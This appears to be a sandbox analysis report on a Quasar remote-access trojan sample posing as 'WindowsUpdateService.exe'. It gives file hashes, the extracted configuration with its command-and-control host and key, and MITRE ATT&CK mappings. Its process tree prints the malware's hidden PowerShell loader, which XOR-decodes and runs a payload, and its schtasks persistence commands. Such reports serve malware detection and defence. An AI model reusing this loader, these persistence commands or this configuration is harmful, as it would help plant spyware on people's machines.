quasar | d10d7dcbb30cd2cadaaba743fbbcff52b40a38fb0f8ce87530efa4677f1d8938

Analysis

max time kernel
29s
max time network
31s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/07/2026, 22:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WindowsUpdateService.exe
Size 1.4MB
Sample260702-2c59aacv7l
SHA256 d10d7dcbb30cd2cadaaba743fbbcff52b40a38fb0f8ce87530efa4677f1d8938
MD5 1fec0fabc1c223e3ce43f3abc8a09a7e
SHA1 ffd4c82ffe7df1f9d1e1e5c4092d28f62e0e1587
SHA512 7ae643fb7549b53fc37d76a8657e69e8f8b1fbd365b6d54a9da39ce2648aa27b1ca2dab87175df3482e99b9b0b34fd1ae187f067a21a3111dc85cb7fe6c016d1
SSDEEP 24576:htFSk3gHzyF0UL/SbmZuz48Ti+1HNydslHh/409gyQEO0RRX/9PmlVKqd:N3rXLjO4P+1HNydWNB9gyQSX/9E1
TLSH
T1716533BE3363BF3AC04061794A5DDB8C3F096D1628EA14EB8716C57160ED7ADC69CB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

ronnie.vanillavpn.xyz execution quasar persistence spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

ronnie.vanillavpn.xyz

51.161.98.215:1194

Mutex

f1bb65d9-0c68-4ce3-bdc1-12a7bc306fca

Attributes

encryption_key
64CB7DD30B4A06DBD3BFE59846E2CA5D93571EA5
install_name
WindowsUpdateService.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
WindowsDriverService
reconnect_delay
67
startup_key
WindowsUpdateService
subdirectory
SYSWOW64

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001c00000002b555-448.dat	family_quasar
behavioral2/memory/5000-455-0x0000000000B00000-0x0000000000E24000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2428	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5000	pslbqgbwuk.exe
244	WindowsUpdateService.exe
772	WindowsUpdateService.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5180-0-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp	upx
behavioral2/memory/5180-465-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp	upx
behavioral2/memory/5180-470-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp	upx

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1544	schtasks.exe
3268	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2428	powershell.exe
2428	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	5000	pslbqgbwuk.exe
Token: SeDebugPrivilege	244	WindowsUpdateService.exe
Token: SeDebugPrivilege	772	WindowsUpdateService.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
244	WindowsUpdateService.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5180 wrote to memory of 5208	5180	WindowsUpdateService.exe	81
PID 5208 wrote to memory of 5720	5208	cmd.exe	83
PID 5208 wrote to memory of 2428	5208	cmd.exe	84
PID 2428 wrote to memory of 984	2428	powershell.exe	85
PID 984 wrote to memory of 4544	984	csc.exe	86
PID 2428 wrote to memory of 5000	2428	powershell.exe	87
PID 5000 wrote to memory of 3268	5000	pslbqgbwuk.exe	88
PID 5000 wrote to memory of 244	5000	pslbqgbwuk.exe	90
PID 244 wrote to memory of 1544	244	WindowsUpdateService.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe
"C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5180
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t5180\r.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5208
- - C:\Windows\system32\choice.exe
    choice /t 1 /d y
    3⤵
    PID:5720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Ex Bypass -Win Hidden -NoP -Command "$xw=-join([IO.File]::ReadAllLines($env:TEMP+'\pmapeblaoq.dat'));Remove-Item($env:TEMP+'\pmapeblaoq.dat') -Force -EA 0;$gt=[Convert]::FromBase64String($xw);for($ys=0;$ys -lt $gt.Length;$ys++){$gt[$ys]=$gt[$ys]-bxor 251};$uf=[Text.Encoding]::UTF8.GetString($gt);& ([scriptblock]::Create($uf))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lfe3n5w0\lfe3n5w0.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:984
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1A69.tmp" "c:\Users\Admin\AppData\Local\Temp\lfe3n5w0\CSC1BDB70BBB08E45CCB924AF43CD4F3B83.TMP"
        5⤵
        
        PID:4544
  - - C:\Users\Admin\AppData\Local\Temp\pslbqgbwuk.exe
      "C:\Users\Admin\AppData\Local\Temp\pslbqgbwuk.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5000
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "WindowsUpdateService" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3268
    - - C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe
        
        "C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:244
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "WindowsUpdateService" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1544

C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe
C:\Users\Admin\AppData\Roaming\SYSWOW64\WindowsUpdateService.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES1A69.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1A69.tmp
Size 1KB
SHA256 9ed76f894b2224cb29f4bce9e00634bc7e279d83797e4ab2cd0db0a7a6cdec7b
MD5 c03527e96497287a9658cb169e59e709
SHA1 d74c4c1cdda7e1988865133ed83993481ac314a1
SHA512 edbf620a5bb7a80ead6302b7710aa2fae142ac7e358a641aef7421cf8a194c9cd8e4211668f9bbf50c208880362829ec2647ddfa2c9ebe30994683b0d7a64d3e
TLSH
T1B821C90583E9471FF0775732ADFA131BA274FE54EF62A36B8440822D2C41504EEA2EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_a25j05ar.kz5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a25j05ar.kz5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

r.bat

Path C:\Users\Admin\AppData\Local\Temp\_t5180\r.bat
Size 2.1MB
SHA256 403d6306c3baf2abbd366d8325bce3a852c8093d4e8da76065208c282e9e4475
MD5 5a4523cc6a67d97e7914754bc2174a8b
SHA1 6b508cd4d4f587a0d73d31f17f981c0c469f0638
SHA512 844b7571cd345eb01a2386eb6b3075558e92295a1e8ce736535549f49cf28dc26ac2cd5cca98a46f73232feff17a5b5a3d3191fed86df39f89e6b92aaccc646e
SSDEEP 24576:VGQGIDaPCWnXCgEgRnDgnXZWtueQjGlJVgq2O+ILygpF5TEBgA1IROAcYFLL:QIDahnyxwcfaJgq2Oys+yUIhcY5L
TLSH
T180A5028E7C6FB7D28A47383E871631197C5349834977CC61BDD20A5B496CCE62A3A84F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfe3n5w0.dll

Path C:\Users\Admin\AppData\Local\Temp\lfe3n5w0\lfe3n5w0.dll
Size 3KB
SHA256 66e6d9c060456757d25fa37713507c3f70189f41af4c8dc84698eea3a6bcb343
MD5 f800f0e6ca534bcdd89c8128573d7664
SHA1 1095438da6e61e6157ba79571a6c466f6846a56b
SHA512 ab81bb3a579110720f5b082f6d5a3e4de24822ed372076a1b6a054100f4c9290bb02141ce6deb7ff938a34b17cedc25faf124c122dbc2647cb0059cb1dc6acd6
TLSH
T1F871C827D3A8416BE4AA47786AF747073378F850AF63976E58C05328AC617645E31BF0
MD5 SHA1 SHA512 TLSH

Submit Download

pmapeblaoq.dat

Path C:\Users\Admin\AppData\Local\Temp\pmapeblaoq.dat
Size 2.1MB
SHA256 741a648049505693f529291d27115606dde62a5bf6b6d22357a4f65dbdc0af12
MD5 a9b4929076d360b40b9dbb865c245fcb
SHA1 f885c20ad17de6745be4c6bb78466138f8738c16
SHA512 13d42fc0c146a5525649c5376885b0beb046afa9fec7676e150bfd9d8ac434bcc1e7c6fa89708be9e1cfdbf3372993ada51e470da00f5f87e6588bea1a601128
SSDEEP 24576:HPgn8D9YB3PO38rl+T7zLQ9TMnWC/jlt8VeSNJniiIE5rstg40cYx30iF3q:28D9QPaucy0bT8VeSeMeGvcy0iNq
TLSH
T192A5F28E7C6FB7D68A47383E43063119BD524E834D77C861BDD20A5B49ACCE6293684F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmapeblaoq.dat

Path C:\Users\Admin\AppData\Local\Temp\pmapeblaoq.dat
Size 60KB
SHA256 34e955fbeadf7a61bc6ae65f561f9d98afb8722ebdce60c08ce22b23ba1a0103
MD5 0300e5fc3d6e4be2b47e3bdb9a02f208
SHA1 eb326acb13d41f3436a68ba4e750296a884541de
SHA512 49ba1b08f6cb94ee38850240f2f8fe8ef8d2e4983ae3f6c32202e0dc1a8b2f2d2e34b11640f9cf3189996b5a1c839230495d1e20057846e25f9012c54c1ae631
SSDEEP 1536:0I5MYxHw5fi7ezU3ZgBCHih1tX8dCu26E3VoOhxzbk:0IPWeidCHyAFUDA
TLSH
T12153F18A7C2E96C18D8A353F530972267A9986434CB7CCD1BFD4166FC14DE8B1856D0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pslbqgbwuk.exe

Path C:\Users\Admin\AppData\Local\Temp\pslbqgbwuk.exe
Size 3.1MB
SHA256 dfb86a46fefe58a2d83e891153177c45457caa50fc7d41aa1b0a5209a36ade3d
MD5 5cff7e78c727ddbc9d8a889f84930291
SHA1 ec570a2442c1175308b8ac82897089056b4df701
SHA512 b06843355fc329f9cc77667cdc4de90b1b30df84c47caca1b765401f6225b9fa695ac7c260aaca78b8a99afeac1a1231185a0f3d6be97f98e8c2a5c4d1d1a5e5
SSDEEP 49152:bvtD/2oga6ctePEl3s3jn7HZkgMCSrIMfQLoGdYTHHB72eh2NT:bvR/2oga6ctePEl3s3L7HZkgMCSra
TLSH
T1B3E55A143BF85E63E16AD773DAB0501263F1FC2AF363EB1B6191667E1C53B4058026AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC1BDB70BBB08E45CCB924AF43CD4F3B83.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\lfe3n5w0\CSC1BDB70BBB08E45CCB924AF43CD4F3B83.TMP
Size 652B
SHA256 53e04e7891e05096b2cb51af16c373669eb9735560f95c021fb970891417288e
MD5 c8b1e3d0155dfd2240b78e7d11516ca1
SHA1 13f980c5cb1599165091d22ce8a1672c6c478f29
SHA512 952cb56f2ccdcc0d2c4c8a676a1843af2eedc44bb1664bc3ccd9382c838c274494d72b3783c261c0acb8490e3c3540a062d0ee4d65bf178f9fa6b34cd8bc7a71
TLSH
T18DF08209A3F8520EF0F74B71BDF68363D1A8BC65DE3293ED6481031D2C645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

lfe3n5w0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\lfe3n5w0\lfe3n5w0.0.cs
Size 277B
SHA256 e4d491aabd4d3d526a8937b41cbf13c838adccbc33dd3c7176e59aa3ef4dafe7
MD5 f52921f8b5b86efd1062f27565a65480
SHA1 77b930ff80938a49fec277836657c55bb9203b2d
SHA512 407e879e86259cadf40a9b8e13f0f9d665ac1c8042c526594313be4bdedf0fefd968507674b663f61a6138476c4654e0f3fbda0ef20870bc402b8dc66182aa5c
TLSH
T1A3D02B383BAFE3B56282D0750E51D31DA73333567625C495485B930497F44424730FB9
MD5 SHA1 SHA512 TLSH

Submit Download

lfe3n5w0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\lfe3n5w0\lfe3n5w0.cmdline
Size 369B
SHA256 7133d35d82596363f68ae7be37a4fbf8372e47e6a7a64a48522cd642b9711cc6
MD5 87320d0f04274cbde35c762d97ba80b7
SHA1 4dd5ea0cfd62c4852a07ad6185f2119fc55fc45d
SHA512 daea9f43304e29b00f0a6799c1f8350ce7b169b34a61ad4bec97cf8dcb270c8fb4033d8ff01f880f8a7e026e859f4868a0ffec2320529fa7dbe1c011402e898f
TLSH
T129E0C02B4247C27E02DD1407216BE5BCC27207C339437F945061C80DD01700077E378B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/244-464-0x000000001CCC0000-0x000000001CD72000-memory.dmp

Download

memory/244-463-0x000000001CBB0000-0x000000001CC00000-memory.dmp

Download

memory/2428-429-0x0000022118A20000-0x0000022118A30000-memory.dmp

Download

memory/2428-422-0x0000022118FA0000-0x0000022118FC2000-memory.dmp

Download

memory/2428-420-0x0000022118A20000-0x0000022118A30000-memory.dmp

Download

memory/2428-443-0x0000022118F90000-0x0000022118F98000-memory.dmp

Download

memory/2428-421-0x0000022118A20000-0x0000022118A30000-memory.dmp

Download

memory/5000-455-0x0000000000B00000-0x0000000000E24000-memory.dmp

Download

memory/5180-0-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp

Download

memory/5180-465-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp

Download

memory/5180-470-0x00007FF69F1F0000-0x00007FF69F416000-memory.dmp

Download